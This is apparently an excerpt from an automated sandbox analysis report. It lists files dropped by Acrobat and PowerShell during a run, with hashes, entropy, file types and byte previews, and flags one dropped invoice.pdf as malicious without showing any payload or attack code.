Encrypted:	false
SSDEEP:	48:TFl2GL7msrhoGgpP5ZgrI2v+LviuFuI7P80:/VmsrhoGgt5ZgvIp7k0
MD5:	E4B6E070F9E080C2CBAD7C53AC5213C5
SHA1:	151B17E071A2EF5E265EBACA18E36A61EBF60975
SHA-256:	90C527AD0F2BC169B8CE8222137742C7B4DC3DFC43942FCC8A5F3D0196630F56
SHA-512:	C0B14FE67E3070A035A1A658B09BE211295F4F83F00C5460AAFEA9C20686180660094B211B63C161E618C0D24E39CAA57AF045B0DAA73C70976DA85F341C9BFD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9636626723131592
Encrypted:	false
SSDEEP:	48:7MthoGgpP5ZgrI2vZLviuFuI7PehBRqVl2GL7msb:7IhoGgt5ZgvZp72h7aVmsb
MD5:	5E1ACED00D0523B0B5DDADA27D2F0D91
SHA1:	EB59629DB448D308992E81BC1AF5305E887C6D59
SHA-256:	A7CDD4BBBBF66E5B3BFCEE07CE3939BCE0F701D824F3009C55D7DB0CCFBA1ECC
SHA-512:	4FBE2FAA0642760E1EE30D9E1DB7E78BB524F7F430DA4F3CBEC46FB583FDE2BA5F1E977DDC7B02A4FCF5A217AD4B36BD071D48CD6020AAA496C9CEEB02D03311
Malicious:	false
Preview:	.... .c.......&...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgOKJTN/osOA4qi3ihRc/70wu3M+Yyu:6a6TZ44ADEZOci36S/70wutK
MD5:	E81F4EEB4DCE7DDA0325318C50D193B9
SHA1:	5CAE9B2CD71DBB5997AF1636677BA6A83FD0E818
SHA-256:	F2FC6B7B996F9BFFB9DA9C3697CBB315D56FD0CB7AB4FA1B2D21F13B09328A21
SHA-512:	FC577F60BC4EF39EBABA73A3CB4D391B5F031EC19E8AE9317452BE077E83CF6A6B3A809163B01D5A891C262367E86C217E08AD821AC89892720881E998C916C1
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSIff637.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.488809521505088
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cl8OlYH:Qw946cPbiOxDlbYnuRKd+YH
MD5:	B307650D3B965DCE8E566F4221BAD5DC
SHA1:	50D5AC43686E16A5C1F83A7DC6066BBF9E2AEEB9
SHA-256:	623D26F526482C6C45DE3A57B72D0900F6DED90D1DA0197FAE97AC44648690E1
SHA-512:	9843286894D6EA1DB98D66CA38FA544AC6F46C5AB5668D63A0FB6D8205BCD7019CDDF402B496B461E3F60209F84C96B462780DE778F4F13116B56B411EF734F3
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.1.:.2.6.:.0.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0smslqqb.bxp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pakjmedh.jua.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91myjhar_159whb3_584.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9fjwnlq_159whb8_584.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 01-25-54-854.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.346011504419146
Encrypted:	false
SSDEEP:	384:BqIxwGbWz/d64bJEaE3eErgEVCjzI8K7Wq2YUYNzgzxzOupDPdz4I9j8jI/BvfDJ:5bEd3NShrMdom
MD5:	789D1F2F853618A17B73FBEF9532AB2F
SHA1:	5322D042DC96B7E30E3914F7C21729559D534D3E
SHA-256:	482DB450F9F106D18D3E1EAE7A160CC9E75201F9336327CDBCA465997BF56FB2
SHA-512:	20E8E45817B30FE1B03ABE69E71C534EF8DA2015CE237E3F93FDF932D6CDE1FD126465530B61E56A32E9D65A3A6858A1B3B00806571A232876EACAD293871629
Malicious:	false
Preview:	SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:322+0200 ThreadID=6712 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3252928770181525
Encrypted:	false
SSDEEP:	384:nOo3wGalPCXpK9yDpg+tgyg1gL+bnURpQE4dpqhDzD1DxDzDi2E1j48W8k8r818D:Ywksl5qmIRAJ+JsNv6d2JJRX7Uzl+RA
MD5:	D18EE63B3F6D045E4DCD4BC7EA6270E2
SHA1:	8A1CD7115943FDA8F1D42442874B2CB21271076C
SHA-256:	2AA82C57CEA4E3C05F3C5E78059F1337683424BD45F6FFC0E3D9746BDC578740
SHA-512:	6AC270963C511EC0ECBD3D30F4A88A7BCB6CE0D3712A0E1356CFA664FB970E947C51D4CF9F62161076F4826307624750589FE26C403851630C77145349D0D4E9
Malicious:	false
Preview:	SessionID=e9e66d7d-047b-4872-aece-13d2c78e2060.1736576754873 Timestamp=2025-01-11T01:25:54:873-0500 ThreadID=8288 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=e9e66d7d-047b-4872-aece-13d2c78e2060.1736576754873 Timestamp=2025-01-11T01:25:54:875-0500 ThreadID=8288 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=e9e66d7d-047b-4872-aece-13d2c78e2060.1736576754873 Timestamp=2025-01-11T01:25:54:875-0500 ThreadID=8288 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=e9e66d7d-047b-4872-aece-13d2c78e2060.1736576754873 Timestamp=2025-01-11T01:25:54:875-0500 ThreadID=8288 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=e9e66d7d-047b-4872-aece-13d2c78e2060.1736576754873 Timestamp=2025-01-11T01:25:54:875-0500 ThreadID=8288 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.390408847205431
Encrypted:	false
SSDEEP:	384:2PLH8FVfpBJnYPLOmtlw68mwrqx7tGLbnk:2DkmLfHw68mwrqx7tGLbnk
MD5:	1AF8D3B45F509766780AF68E121B62BB
SHA1:	5DCED2951E47C9FAB82E09AC425827B31438F3B0
SHA-256:	7ABF5680D1A55C89CB6FA186DDD287B595D73FA21276B0EE540FC1291A54D022
SHA-512:	2FE26F6F6E823E76FD5BAFE2AB25ED8F0D4E78371392546590933BBE7CDE17A0E56D037DB9453EB071D0812EE7F4C488CCF452A538E2DC894DB37C1332CC0F3E
Malicious:	false
Preview:	05-10-2023 12:57:02:.---2---..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 12:57:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\032dbb7f-a0c8-48e2-815e-e1667369f9f8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\86df4ceb-040f-471e-8694-83382e0d4b86.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/vwYIGNPQmeWL07oXGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:3wZG2XWLxXGZN3mlind9i4ufFXpAXkru
MD5:	5AF2529756355F6C80625631B498CC56
SHA1:	859A6BF7D42E0E1B49C89DD52C2732E9E9988A9D
SHA-256:	4F4B11B2CF83A4DA942281DE64ABDA14B33254B0F86DF128D472861C6B90AEFD
SHA-512:	BB39DA94E1C3E62FA6EE13118C4AF2852553CE722428863222F5556255938415A9F66AE9E24E71707CE4730861039C996435C8062F192238C3374E2EAB9FC1F7
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\d872c0ba-6685-422d-aaff-0b5d61f5b33d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 634912
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R074GZfZwYIGNPzWL07oW:Jb3mlind9i4ufFXpAXkrfUs0sGZxwZGf
MD5:	D38C45094BC3F55A453B80C2CE9B1D9B
SHA1:	1D6DD5578F961DDF89F090D40540E3FE11516CD0
SHA-256:	E6E17FBEC4A0848ADB14A7CB2F676A8C561996A6420DB98CA5AC7786C45233D9
SHA-512:	08ACD9E037C864117BBB41E80D77807834F1266ABE1F607BCA2B37B79BAD2EE148E22A8AF53B81EF1763EC91EA7AF3D0AA731A2923A8BFFF1972EC03D82F9FBB
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\f031d5b5-e850-4d3c-9b5d-a7df780628ad.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
